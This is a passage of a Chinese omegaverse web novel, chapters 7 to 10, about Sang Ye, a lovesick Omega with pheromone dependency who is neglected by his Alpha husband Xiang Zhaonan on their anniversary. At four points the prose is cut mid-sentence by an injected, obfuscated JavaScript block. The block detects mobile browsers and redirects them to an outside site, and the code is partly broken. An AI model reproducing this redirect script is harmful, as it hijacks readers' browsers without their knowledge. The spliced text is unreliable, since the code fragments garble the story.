《恋爱脑Omega被挖腺体后》 7. 第 7 章 桑也浑身一僵,单薄的身躯摇摇欲坠。 明明已经很清楚相召南的态度,可听见他如此直白的话语,还是会酸了鼻头。 如果示弱就可以得到庇佑,那为什么他曾经哭着祈求却得不到半点怜悯。 抄袭者咄咄逼人的时候他为什么不说咄咄逼人有什么用。 抄袭者向他泼脏水的时候他为什么不说这是私事。 明明他才是相召南的Omega啊。 桑也再也忍不住,嘴巴已经快瘪成波浪,他朝相召南喊:“我讨厌你!”也不管道歉不道歉的事情,陡然转身,从人群中挤了出去,向出口跑去。 他把汹涌人潮甩在身后,走出展厅大门,感觉脸上湿湿的,一抹全是水渍。 是他哭了吗? 是下雨了。 …… 潮湿的雨季总让人感到烦闷,嘈杂喧哗的礼堂被调试话筒的杂音和各种臭臭的Alpha信息素占据,桑也和凌星打了个手势,往侧门出去了。 马上十八岁,他最近似乎要迎来第一次情热期,身体总是乏力,腰酸腿软,心情还不太美妙,对于一点小事都感到烦躁。 他闭目倚靠在侧门柱上,连廊吹来挟带雨丝的凉风。 莱恩公学是S市最好的私立学校,十二年一贯制,学生家庭往往非富即贵,毕业后也大多出国。 不过桑也不大一样。 虽然他学的是绘画,意向发展的还是油画,按理说出国会是更好的选择,但因为双亲在几年前相继去世,家里只有一个兄长撑着,他怕他哥太孤单,便不再考虑出国这一条路了。 最近又快到了一年一度的毕业季,学校邀请了风名正盛的投资新贵相召南来给他们分享经验。 其实就是讲鸡汤,桑也想。 据说相召南六七年前也在莱恩公学就读,但年龄差太多,桑也从来没见过。 该说不说,莱恩公学的制服的确好看,酒红色的西服裁剪合体贴身,恰到好处地勾勒出桑也的腰线,西裤笔挺包裹着臀部和大腿,似有似无地贴在腿上,被撑出完美的弧线。 虽然穿着一身西服,无论从身形上,还是长相上,都还是一副稚气未脱的模样。 “同学,你是身体不适吗?不舒服的话去校医院看看吧,身体为上,讲座不听也罢。” 桑也睁开眼,有点耳熟的声音,果然是经常站在台上废话连篇的校领导,在他身边还站着另外一个男人,和一股子中年男人味的校领导完全形成对比。 那个男人双目漆黑如墨,黑色西装,酒红色领带,一只金色腕表,很简单的经商人士穿搭,在他身上却勃发出一股力量感。 这个世界总是以貌取人,就像现在,虽然问候他的明明是校领导,吸引他目光的却是这个长相优越的男人。 桑也收回目光,跟校领导道谢:“谢谢,只是有些闷,出来透透气,不用担心。” “闷的话,吃颗糖吧。” 那个男人走两步上前来,他伸出手,宽大的手掌上正躺着一颗圆糖。 桑也目光落在他手心,鬼迷心窍般迟缓地伸出了手,又顿在半空中。 肩上骤然传来重量,是校领导拍了下他的肩膀,附言:“相先生给你你就吃了吧,安全的。” 又见校领导回头去和那位相先生讲话:“是在门口迎宾处拿的糖吧?我也爱嚼点这些。” 二人说着话就往礼堂里走。 桑也拿了糖,剥开糖纸放进嘴里,甜中带苦的柑橘味在口腔中炸开,头脑瞬间清醒了。 甜的是橘汁,苦的是橘皮。 他淡淡地想。 相先生。 那个相召南? 他现在觉得这个讲座还是很有必要听一下的。 转身回去。 回到座位上,凌星问他:“奇了怪了,你不是出去吹风了么,脸怎么还这么红,我在里面闷着也没这样啊。” “难道是吹感冒了?我摸摸。”说着就要上手摸桑也的额头,被他躲开了。 桑也只说:“听讲座,别玩了。” “讲座有什么好听的,要不咋俩翘了吧,俱乐部那边又来了俩新人,咱们去较量较——卧槽这么帅,那得听,是得听。”凌星原本百无聊赖坐在位置上,感觉屁股上要生疮了,一看见台上的人脸,立马态度一百八十度转弯。 桑也不像他那么外露,但一向对这些形式主义不感兴趣的他,也难得地拿出手机拍了几张照片。 桑家别墅。 倚靠在床头的桑也捏着相纸,目光落在照片中间站在光柱下的男人上。 他的手指从人脸上摩挲而过,轻微地颤抖着,最后移向相纸边缘泛黄的角落。 相片一直锁在盒子里,没想到竟然泛黄了。 桑也哀戚地想,随着相纸一同泛黄的,或许还有他的爱意。 要不要去过塑一下,拯救他岌岌可危的爱情? 电话声响起。 意识回笼。 是凌星,桑也接通电话。 电话刚一连通,对面就情绪高昂地嚷了起来。 “我查到了,我查到了!” “那个Omega叫钱余,是相召南大学教授的独生子,也是学油画的,不过他的学校没你的好,所以你们没见过。” “他爸名下有几家小公司,资产不多,按理说应该做不到封锁消息。”说着顿了一下,“要真如你所说,很多人拍照录像的话,他一个小公司的老板,应该做不到一点消息都流不出来。” 那么,是谁做的,已经一目了然。 二人都沉默了,没有把话说明。 “相召南是什么意思啊?他要这样搞,就别吊着你呗,渣男,我呸!” “不知道。”桑也摇头,黑色碎发在枕头上摩擦,发出细细的沙沙声。 凌星听他这样说,也只能叹了口气,实在想不明白自己好哥们怎么结个婚就跟失了魂一样。 他上次去桑也家里,居然还在他床头发现了一本书,《如何成为一个贤良淑德的Omega》,翻开一页,洗衣做饭,甜言蜜语。 天哪,这跟毒品有什么区别? 他问桑也。 桑也说什么?他说,这书里的内容好像不起作用。 凌星满脸问号:“你照做了?” 桑也点头。 桑也居然点头! 凌星感觉天都塌了。 百思不得其解,越想越混乱的凌星回家忍不住拿手机查了一下,发现作者是个直A癌,那能起作用就奇了怪了! 眼睁睁看着桑也走上一条不归路,凌星叹了又叹,知道劝他没用,但还是不由得说:“你真不考虑离婚吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406586|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “按理说,你这样的身份地位和长相,想跟你结婚的男人不说过江之鲫,也不在少数吧?就真没有第二个百分百契合?” 离婚。 这两个字如同重斧剁向了他胸腔内柔软的部分,又像钟杵敲响了鼎钟,震得他头脑清明一瞬。 但很快,钟声就消弭了,他的意识重新变得昏蒙。 他的声音软绵,似乎失去了所有力气。 “凌星,你知道的,信息素依赖症决定了我离不开他,至少现在,没办法。” 他闭了闭眼,深知这个回答对从小相识、一起长大、对他比对自己还好的凌星伤害有多大,电话那边久久的沉默也印证了这一点。 可是。 他真的别无他法。 离开了相召南,一到情热期,他就会像发情的狗一样哀叫不已,最后把自己挠得满身血痕,不像活人。 一滴清泪滚下来。 “行吧,行吧,你……唉。”千言万语都在一个叹息之间了。 桑也抹了下脸,故作无事:“别担心,会没事的。” 话音刚落,房门突然响起敲门声,凌星也听见了,说了下次再聊就挂断了电话。 桑也:“进。” 他以为是大哥回来了。 结果房门打开,站在门外的却是意料之外的人。 相召南。 桑也缓缓垂眸,把目光从相召南身上移到白色被套上。 “你来做什么。” 说不惊喜是假的。 这是第一次,在失望之后,相召南来这里找他。 心里短短一瞬的悸动难以掩饰,所以他低头,他垂眸,就怕自己眼中的光暴露了情绪。 “钱余不懂事,做了错事,也知道自己错了,他拜托我请你去吃顿饭,亲自给你道歉。” 桑也赫然抬头,直直望向相召南,眸中微光全然黯淡了下去。 “和他吃饭?” “嗯,还有我老师。”相召南倒是坦然,“也就是他父亲。” 桑也蓦地笑了。 原来不是为了他,是为了另外的Omega前来的啊。 他在痴心妄想些什么。 在相召南身上,他总是吃一堑,吃一堑,再吃一堑,总是不长记性,所以无望的希冀总在上演,失望的眼神越发明显。 相召南似乎看懂了他的神色,又或许是对这一笑感到慌乱,皱起眉:“桑也,你什么意思。” 什么意思。 桑也说:“南哥,封锁消息是你做的吧?” 相召南不说话。 “南哥,他造谣,诋毁,抄袭,难道不该得到惩罚吗?你却还要我和这样一个人坐在一起吃饭,不觉得对我很残忍吗?” 他用淡定地语气控诉着自己的Alpha。 最后,笑了一下,“你知道的,以我桑家的地位,想做点什么还是很容易的。” 一直沉默的相召南终于开了口,却不是承认自己偏心,更不是向他致歉,而是为被他威胁的钱余谴责自己。 “桑也,仗势欺人有意思么,他已经知错了,也想跟你道歉。” 咄咄逼人没有用,仗势欺人没意思。 那什么有用,什么有意思。 他不咄咄逼人,不仗势欺人,又能指望谁呢? 相召南吗? 8. 第 8 章 桑也没有说话。 因为这场不光彩的结合,他自知理亏,加上往往是他所求颇多,所以从结婚起,无论是床上还是床下,他对相召南有求必应,从来不会像现在这样忤逆他。 这是第一回,相召南在他这里不被当成神明敬奉。 相召南脸色越发不虞,冰冷的眼神如同坚冰制成的冰锥刮过床上人全身。 “我已经答应了老师。” 言下之意是,如果桑也拒绝,相召南就会在他老师面前失去信誉,变成一个言而无信的人。 他好像很看重对外人的承诺。 但是桑也仍旧不松口,他缓缓摇头,眼神无光,“南哥,我不想去。” 他避开相召南的目光,生怕看见那审视的,刺痛人的嫌恶。 最后只听见相召南说:“你怎么变得这样不可理喻,我对你很失望。” “你最好不要后悔。” 随后便是房门砰的一声合上的声音。 别墅重新归于寂静,窗外的梧桐树悠悠晃了几下枝叶,最后也僵住了似的一动不动。 桑也滑进被子里,拉起被角盖住自己的脸,最后只露出一双死气沉沉的眼睛望着天花板。 没有破过窗的人连开门都小心翼翼。 他甚至不敢对相召南说一句重话,因为他知道,最后的结局无非是自己拖着情热期炽热的身体匍匐在那人脚下毫无尊严地乞求一场怜爱。 把话说太难听,也只是打自己脸更重而已。 当年那一场惊鸿般的相识已经变得模糊,还留在他记忆中的,只剩残暴的□□和冷清的房间。 …… 桑家的保姆阿姨在他家做了二十多年,是桑也还没出生前就来的,看着桑也长大,几乎是把桑也当成自己亲孩子在照料。 因为和相召南赌气,桑也一连在桑家住了小半个月,阿姨变着花样给他弄吃的,说他太瘦了,得好好补补。 这几天他大哥忙的焦头烂额,早出晚归,桑也还没起的时候桑守安就出门了,晚上桑也都睡了才回来。 似乎是终于忙完了,这天下午,桑也正在一楼客厅吃葡萄,桑守安就回来了。 桑也高高兴兴迎过去,却听见桑守安说:“耶耶你什么时候回来的,也不说一声,说了我早点回来。” 他接过大哥脱下来的西服外套,放在沙发上,“大哥你真是忙昏了头,我这几天不是一直在家吗?” 说完,桑守安惊异地看了他一眼,随后摸了摸自己的额头。 “可能是吧。” 桑守安无奈地摇头:“最近公司出了点事情,待在家里时间少,我没看着你,还以为你早就回那边了。” 他大哥这样说也不是没有理由,以前桑也在相召南那受了委屈,也总往家跑,待不了几天,又屁颠屁颠地自己回去。 对,自己回去。 可能相召南压根就不知道他跑了几天。 “这么忙啊。”桑也把脑海里的相召南甩走,眼神略带心疼地望着大哥,俯身摘了颗青翠的葡萄放在掌心,“吃颗葡萄吧,挺甜的。” 桑守安吃了,“太甜了些。” “没有吧,我觉得很合适。” “谁吃甜的比得过你。”桑守安开始揭他的黑历史,“你五六岁的时候,把过年准备的糖全部拆了整齐摆在盘子里挨个舔过去,差点把客人笑岔气……” “打住,打住,这都什么陈年老黄历了。” 桑也脸上有点羞赧之色。 桑守安笑了几声,突然问:“你这回在家待这么久——和相召南闹矛盾了?” 桑也哪曾想大哥话风陡然一转,差点脸色露馅,眨了眨眼。 “没啊,我脸皮那么厚,能有什么矛盾?”他状似天真无邪,真诚地发问,又把桑守安逗乐了。 在他睁着眼睛装天真的时候,脸肉突然被掐了一把,只听见桑守安用怀念的声音说道: “当初你查出信息素依赖症,我花了小半年时间给你找到了满契合的相召南,本来担心你们素不相识,会合不拢,现在一晃也四年过去。” “看着你平安健康,我也就满足了。” 这话对于外人来说可能太直白,太煽情,但桑也从小就在这样的环境里长大,所有人都对他毫无保留地表示爱意,久而久之,也就不觉得难为情了。 他拢着大哥的胳膊,“谢谢哥,辛苦你了。” 兄弟二人一起在客厅看了会电视,但好像这几年的电视越来越难看了,看得桑也直打呵欠,桑守安也说还有点事要处理,便一人回了卧室,一人进了书房。 躺在床上,桑也却怎么也静不下心来。 越是感受到大哥的辛苦,越是自责自己连一场婚姻都经营不好。 大哥为他做了那么多,一个人撑起了桑氏,他却连这样一点小事都做不好,要是大哥知道他和相召南的关系,肯定又要担心了。 而且,因为他们的婚姻关系,桑氏和相氏合作了四年,现在家里公司这么多事,他若是真把相召南惹生气了,很难保证两家公司的合作还能不能好好继续,要是不能,大哥不仅要操心他的私事,更要忙碌公司大事。 “你们素不相识……” “一晃四年过去……” “你平安健康,我就满足了。” 心绪不宁。 他白日里和大哥说的话并不作假,他脸皮厚,的确是事实。 毕竟每次的不告而别都以他舔着脸回去求和然后发现相召南压根没把他放在心上作结。 旧事又要重演了。 桑也叹了口气。 空寂的房间里突然发出一声叮响,是手机的提醒。 他解锁一看,原来是以前用的记事软件在提醒他。 “两天后就是你和相先生结婚四周年纪念日啦,想好怎么庆祝了吗?” 四周年。 原来从他十八岁结婚到现在二十二岁,已经过去四年了。 整整四年,他把这段关系搞得这样糜烂,也太失败了。 桑也大脑放空了一下。 好吧,这次就拿你做借口了。 他把手机放到床头柜上,侧躺在床上,微微蜷缩。 …… 次日。 他在别墅吃了饭就带着这几天画的画驱车去了相氏集团大楼。 刚成年的时候他热衷于超跑,自己买的,大哥送的,放了一地下室,婚后发现相召南似乎喜欢低调的商务车,便也学着买了辆,虽然不喜欢这种看起来没什么格调的车,连买车的欲望都被拉低了,他还是开了快四年。 现在想想唯一的好处可能就是自己跑回家住着几天画的画可以塞进车里一起带走吧。 到了相氏大楼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406587|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前台站起来,又坐下。 桑也礼貌地回应了一个微笑。 他和相召南的婚姻并没有一场正式的婚礼,也没有对外宣称,因此前台根本不知道这个常常来送饭的Omega到底和他们总裁是什么关系。 当初第一次来送饭,他被前台拦住,因为没有预约,前台让他在迎宾室等着。 等得太久,他在迎宾室睡了一觉,醒来天黑了,饭也凉了,问前台,前台只说相总可能在忙,让他再等等,他把饭扔了,继续等。 最后是临近十二点,相召南下班出来,桑也追出去。 相召南问他怎么在这里,他没说是来送饭的,毕竟饭已经被他扔了,只好笑着说想来看看他的工作环境。 “以后不要大晚上出门,工作有什么好看的。” 桑也打哈哈,没说其实他早就来了。不过这次也没白去,前台看见他和相召南的确说得上话,后来再去,没在拦着他。 但二人都没有说他们是什么关系。 之前来的时候还听到前台和同事小声讲,相总这个追求者可真有毅力,都好多年了吧,还没放弃。 桑也想了想,他和相召南除了有一场入室抢劫般的婚姻和不定时的□□,其他的,跟前台说的也没什么区别。 他进去之后轻车熟路找到相召南的办公室,敲门,没人回应,四处打望了下,刚好相召南的特助过来拿文件,跟他说相总正在开会。 “桑先生来送便当吗,放在相总办公室就行。” 语气理所当然,态度绝对算不上好。 桑也表示理解,忙于事业的人对他这样无所事事的人抱有若隐若现的优越感,算不上什么稀罕事。 特助低头,看见他手中空无一物,脸上有一丝尴尬。 桑也倒不觉得有什么,桑家阿姨做的饭辛辣,不符合相召南的口味,因此他才没有给准备。 他笑了下,“我有点事找他,在开会的话,那我等会吧。” 助理悻悻笑了下,把办公室打开,拿了文件就走。 相召南的办公室延续了他家里的装修,多是黑白灰,看着就冷。 桑也只是站在门外看了一眼,没有进去,反而到外面的椅子上坐着。 相召南的办公室,特助能进,不代表他也能进。 多一事不如少一事,还是不要去找骂的好。 大约等了半个小时,相召南开完会出来,刚好路过桑也在的这条连廊。 相召南听着身边人讲话,抽出目光跟他说了句:“我吃过饭了。”连脚步都没有顿下。 桑也站起来跟上,“我不是来送饭的。” “南哥。” 相召南似乎听懂了他欲言又止,挥手让身边下属先走了。 “南哥,明天晚上有时间一起吃个饭吗?”还没等相召南说话,他又补了句,“在家里。” 相召南拧了下眉。 “如果你是想说钱余的事情,那没什么好说的。” 那天桑也没出席,已经把送上门的机会推走了。 这几天桑也已经逼自己把那些事情忘记了。但很显然,相召南还记得。 他淡淡地笑着摇头,“我不是想说这个,我也没什么好说的。” 相召南的眼神带上了不解,似乎不明白那还有什么一起吃饭的必要。 “知道了。” 9. 第 9 章 当天晚上相召南并没有回家休息,桑也也很懂事地没有打电话去询问。 他在画室里待了四个小时,把一副画的框架画了出来,还没来得及细化,肩膀就已经开始酸痛,只好暂时搁置。 画室原本是一间客卧,他叫人把床送回远郊别墅 ,再收拾收拾,变成了画室。 在家里的大部分时间,他都在画室。 灯控就在房门处,他按下开关,画室瞬间暗下来,但并非完全漆黑,从落地窗纱帘中透进来的月光刚好落在创作了一半的画作上,连带着画架都泛着银光。 桑也站在门口,慢慢合上房门。 从他的视野看去,刚好能看见画布上肃静的办公室,填满书的书架,略微凹陷的真皮座椅,和若影若现的人影。 画的视角在书桌下,从下而上,充满了被压迫感。 随着房门缓缓合上,仿佛有一双手,徐徐遮住了跪在座椅前之人的双目,直至漆黑一片。 桑也睡眠不好,总是失眠,要在床上躺一两个小时才睡得着。躺着躺着,就想起了今日在相氏集团等待时听见的一些闲话。 那时他坐在连廊上,左右都不见人,但恰好能听见转角那边办公人讲话。 他隐约记得,他们提到了房地产,说是不景气,好些项目都砸手里了,相氏高层也为投资的事情吵得不可开交,最后发出哀嚎,直呼是他们这些打工人受罪。 刚好桑家最核心的业务就是房地产,桑也心想,难怪大哥这些时日忙得不可开交。尽管桑氏家大业大,在大环境不好的情况下,也很难独善其身吧。 他拿起手机,点开通讯录,看着大哥的拨号页面,最后还是没有拨通。 很晚了。 大哥好不容易忙完了能好好歇息歇息,还是不要打扰大哥睡觉了。 第二天早上九点,阿姨做了培根三明治,他简单吃了点,洗漱之后,坐在客厅沙发上,在国内著名的Omega社区发了个帖子。 【和对象发生了矛盾,今天是四周年纪念日,我能做点什么?】 这个社区流量很大,没一会就有十多条回复。 桑也翻看了一下。 第一条是:【等着Alpha来哄就完事,他要是不来,直接甩了他。】 第二条是:【你做什么?你要做的就是等着Alpha为你们的四周年纪念日准备礼物、定餐厅、送鲜花,要是没有,那就下一个。】 桑也认真琢磨了一下,觉得这些人应该是在和他开玩笑。 他接着往下看,自动排除一些玩笑话,划到了最后一条回复。 【一个合格的Omega要学会体贴Alpha,如果是你的错,你就大大方方承认错了,道个歉,如果是Alpha的错,Alpha都那么忙了,挣钱养家,做点错事能有什么?你最好也还是去道个歉,毕竟你和他发生矛盾,肯定也让他心情不好,心情不好了怎么工作,工作做不好怎么养你?刚好你这不是四周年么,你就亲自洗手做羹汤,要大餐,吹几个气球装饰一下,再去成人用品店挑几件合适的衣服,做好准备就行了。】 很长一段话,应该是很用心的回复吧?虽然他看下来感觉有点奇怪。 他回复:【谢谢你,我会认真采纳的。】 之后便锁上手机,去附近的百货超市买了点彩色气球和新鲜的食材。 至于成人用品…… 桑也本来不打算买的,毕竟相召南每次和他上床都是他毫无尊严求来的。 但路过一家隐秘的商店时,他突然又想,万一呢。 于是低着头进去挑了件白色丝绸睡衣,因为羞涩,没敢多待,但也花了一千六。 回到家,阿姨来帮他拿东西。打开车门的一瞬间,桑也吓了一跳,连忙把放在后座的一个盒子抱在怀里。 “阿姨你把其他的先拿上去吧,放在厨房就行。今天给你放假,明天再来。” 等阿姨放完东西从电梯出来,桑也才抱着盒子上楼。 他把盒子放进卧室的衣橱里,把衣柜门紧紧合上,之后到厨房去处理食材。 相召南不爱吃西餐,而且口味清淡,很少吃辛辣,所以桑也预备的菜品也都是不辣的中餐。他买了条石斑鱼做松鼠鳜鱼,又买了鸡鸭做桂花鸭和白斩鸡,还用白水煮了些虾。 他以前不会做饭,只是从《如何成为一个贤良淑德的Omega》那学到了要抓住一个Alpha的心就要先抓住他的胃,此后才开始学做饭,会的菜式大多更符合相召南的口味。 中午的时候桑也把早上没吃完的另一半三明治加热吃了,两点钟的时候就开始把处理好的食材下锅。 大概忙到五点,几道菜都出锅了,他花了小半个小时的功夫,切了些小番茄和西兰花给所有菜摆盘。 弄好之后相召南还没有回来,他想起气球还没吹,又去吹气球。他特意挑的有相召南姓名缩写 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406588|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的金属色气球,用自带的胶粘在客厅电视机墙上。 他拍了个照片,发给凌星。 凌星回了个无语的emoji。 又等了半个小时,相召南还没有回来。桑也回到房间,锁了房门,试穿了一下白天买的那件衣服。 这是他第二次穿如此露肤的衣服,或许,这压根算不上衣服。平时看不上也不敢穿的人,听了别人的三言两语,就变得格外有勇气。 站在落地镜前,他可以完完全全看见自己的肩,腰,大腿。白色灯光下圆润小巧的肩头微微颤抖,腰间缠绕的丝绸冰凉,臀后丝滑的布料垂顺而下,他一动,好像就要绊脚。 有股热血冲上了脸,他掉头回到衣柜前,想要脱下这不避体的衣服,但手刚触及腰间,又顿住。 最后他从衣柜里抽了件同样丝绸材质的睡袍裹上。 客厅有些冷,他开了空调,又把灯光调成昏暗的,暧昧的。 晚上七点,菜有些凉了。 桑也一一端去微波炉加热,又重新端出来在餐桌上摆好。 他斜倚在沙发扶手上。 相召南很忙,他昨天也听到了,那等一等也没关系。 像他们这种大忙人,七点或许都不算饭点,桑也还能等。 晚上十点,菜又凉了。 桑也本来不想把菜再端去热一下的,不确定相召南什么时候回来,热太多次味道不好了。但又怕下一秒相召南就开门回来了,怕到时候再热会来不及,最后还是全都热了一道。 之后他就坐在餐桌椅上,趴在餐桌上,可能是一个人待太久,有些疲乏了,闻着淡淡的菜香,迷迷糊糊睡着了。 相召南回来了,看见他布置的客厅,吃上他亲自做的饭菜,对他说了句,“用心了。” 桑也高兴地笑醒了。 他抬起头来,房间依旧只有他一个人,面前的饭菜不再散发出香味,精致的摆盘也因为食材干瘪萎缩而消失。 打开手机,突然亮起来的屏幕闪了他的眼睛,让他不得不闭眼缓一缓。 再睁眼时,手机上的11:59已经跳动成了0:00。 没有义愤填膺的质问,为什么对别人一言九鼎,对自己就做不到,也没有撕心裂肺的痛楚,可能是习惯了。 桑也淡定地熄灭了手机,打开客厅灯光,把冰冷的饭菜全部倒进厨房垃圾桶。 给阿姨发了个消息,让她明天记得倒垃圾。 10. 第 10 章 “大哥很忙,公司事情可能有点多,听说这几年房地产不好做,但城西那块湿地已经交付了。” “我没具体了解,都是听人说的,下次,下次一定多了解,回来跟你们说。” “我也快毕业了,之前跟你们讲过,等毕业我也该收心进公司学习学习。” “之前交上去那幅画拿了一等奖,不过是国内的,还是没有妈厉害。” “嗯……我过得挺好的,前不久还跟相召南在画展看了画呢。” 画展没错,看画没错,他和相召南都在,也没错。 他也没说谎。 只是习惯了报喜不报忧。 他拍拍屁股,从爸妈坟前站起来。 他爸妈也算是S市的传奇人物,父亲桑成乘着东风下海经商,靠房地产打拼出桑氏,几乎是S市命脉一样的人物,母亲付乔安自身是学艺术鉴赏的,经营了几个小众品牌,后来和桑成一起扩张,国内外都各有不少资业。 只是可惜,桑也十四岁那年,因为城西那块湿地,被人买凶制造车祸,付乔安当场身亡,桑成幸存,出院后花了两年时间盯着把城西湿地的规划、图纸、融资做完,最后也走了。 父母双亡那年,桑守安二十六岁,桑也十六岁。桑守安作主,把桑成和付乔安的骨灰合葬在了春城。 桑也叛逆了两年,直到十八岁,确诊信息素依赖症。 他俯身擦拭了下墓碑,最后抚摸了下碑上的两个名字。 他刚一转身,就听见有人叮呤哐啷倒在地上,蹬着腿往后退,手上还拽着裤腰忙个不停。 那男的似乎看清楚了他人脸,没再继续吓破胆似的往后退,反而大声喊叫:“大半夜的你装神弄鬼呢!” 桑也皱眉,好看的眉头微微靠近,说了句恶心。 那人爬起来呸了一声,回到车上开车跑了。 桑也环视了一下周围,感觉得给爸妈这坟茔砌一堵墙才行防住这些没素质的人。 春城是个小城,更何况这坟茔还在城外乡下,也就是当初大哥说魂归故里是他爸的遗愿,否则桑也肯定不能同意把爸妈埋回乡下。 他想找爸妈说说话,都得开两个小时车。 大哥说有志者事竟成,两个小时车程哪里远。 可要知道他十五六岁那会,桑成可是直接把付乔安的骨灰放进自己卧室里,那才叫近。 和爸妈说完话,他往姥姥家里去。 桑成和付乔安都是春城人,住得近,认识得早,近水楼台先得月,早早结了婚,也早早离开人世。 姥姥沈音华这些年一直住在春城,不愿意往外走,桑也和桑守安劝多少回都劝不动。 房子在乡下,周围都是姥姥自己种的蔬菜瓜果,大门钥匙在窗户缝里,桑也轻车熟路地翻出来开了门。 夜深,他动作很轻,也没开灯。 但是刚翻着冰箱,姥姥就下楼来了。 “小宝回来了?” 小宝是姥姥对他的昵称,同理可得,他哥叫大宝。 据姥姥说,当年桑父桑母生桑也的时候,桑守安都十岁了,得知自己有了个新名字大宝,气得好几天不吃饭,说自己不要跟擦脸的一个名。 结果姥姥把粉面团子的桑也放到他身上,被白白嫩嫩的团子吧唧一口亲在了脸上,气得脸歪嘴斜的人立马消气,自学成才般抱着婴儿晃动,嘴里念着:“大宝就大宝吧。小宝你好,我是你哥。” 桑也合上冰箱门,“姥姥你怎么下来了,我吵醒你了?” 沈音华已经快八十了,头发时常染,倒是看不出一点斑白。 “哪能啊,我躺在那床上,心里怦怦跳,就有一个声儿一直跟我讲,你的乖孙回来看你了,我可不就赶紧下楼来看看,果然没骗我。” “小宝饿了?姥姥给你弄吃的。” 桑也抿了抿唇,被人惦记的感觉真好。 “好。下碗面吧,好久没吃姥姥下的面了,很想念。” “这面哪都能吃,有什么想不想的。”姥姥嘴上这样说着,手上动作却利索,没一会就烧开了水,把面下了。 桑也很认真地姥姥说:“不一样,姥姥下的面有姥姥的味道,外人都做不出来。” “那你常回来,我天天给你下面。” “那怎么不能是姥姥跟我一块去S市呢。” 姥姥白了他一眼,“吃你的面去。” 端出来一碗清水面。 “辣椒,辣椒忘了。” “不能忘,怎么可能忘了,这不就来了。”姥姥从橱柜里取出一个玻璃瓶,里面是红油的辣子,一打开瓶盖,立马有股香辣味传出来。 姥姥刚转过头来看了他一眼,他立马伸出两根手指,“两勺,谢谢。” 两大勺辣椒放到碗里,加上一些杂七杂八的香料,清水面立马变得诱人。 桑也夹了一筷子,果然还是熟悉的味道。 果然,他还是不喜欢清淡饮食。 …… 第二天,桑也跟着姥姥摘了些地里的香瓜,路上邻居的一个奶奶把姥姥叫走,说有好东西给她,桑也就一个人背着小背篓把香瓜带回去。 他皮肤嫩,又没干过什么重活,只穿了件薄款毛衣,粗糙的背篓背带刚好卡在腺体的位置,又勒又磨,一背上就不得已用手指垫在肩膀和背带中间。 香瓜地里姥姥的小院子也就两分钟的了距离,但偏偏走到半途手机响了。 桑也默默叹了口气,找了个稍微干净点的地方把背篓放下,又拍了拍手上的灰,才取出手机。 手机屏幕上,南哥两个字跳动着。 相召南很少给他打电话,换在以前,他肯定二话不说就接通了,但现在,桑也说不清现在心里是什么感受。 短短十秒钟,手机铃声似乎都变得急促,有些不耐烦了。 桑也滑动绿色按钮。 电话那边传来熟悉的声音。 “桑也。” 桑也很怕相召南叫他的名字,每次被相召南用低沉平稳时常带着愠怒的声音叫着名字,他都忍不住头皮发麻。 但相召南每次都喊他的名字。 “嗯。” “给你订了个蛋糕到家里,但阿姨说你走了。” 虽然失约的是电话那边人,桑也还是下意识认为相召南会生气,甚至吊诡地认为,如果相召南发现他离开而生气,说明对方心里还有他的位置。 但事实是,相召南订了个蛋糕。 是什么意思呢。 这意味着什么呢。 相召南不知道昨天是什么日子,也不知道桑也的生日。 桑也心想,还是不要对一个不爱你的人抱有太多期望,不然失望的只会是自己。 他没有去纠正相召南的错误,只是低下头,轻声说了句:“嗯,退了吧。” 电话那头静默下来,桑也猜,相召南可能在听别人讲话吧。 桑也没有挂电话,安静等着。 良久,相召南才重新说话。 “你在哪?” “春城。” “去哪里做什么。” 桑也当然不可能说真正的原因,“回来看看姥姥。” “知道了。” 电话被挂断。 知道了。 这三个字在相召南嘴里和网上流行的“1”没有什么区别,除了表示单纯的已阅,没有任何承诺效用。 桑也重新背起背篓,没有再用手指垫着,背带挤压腺体, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406589|153477||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又痛又肿。 他刚到院子里把背篓放下,姥姥就回来了,满面喜色。 桑也问她怎么这么高兴。 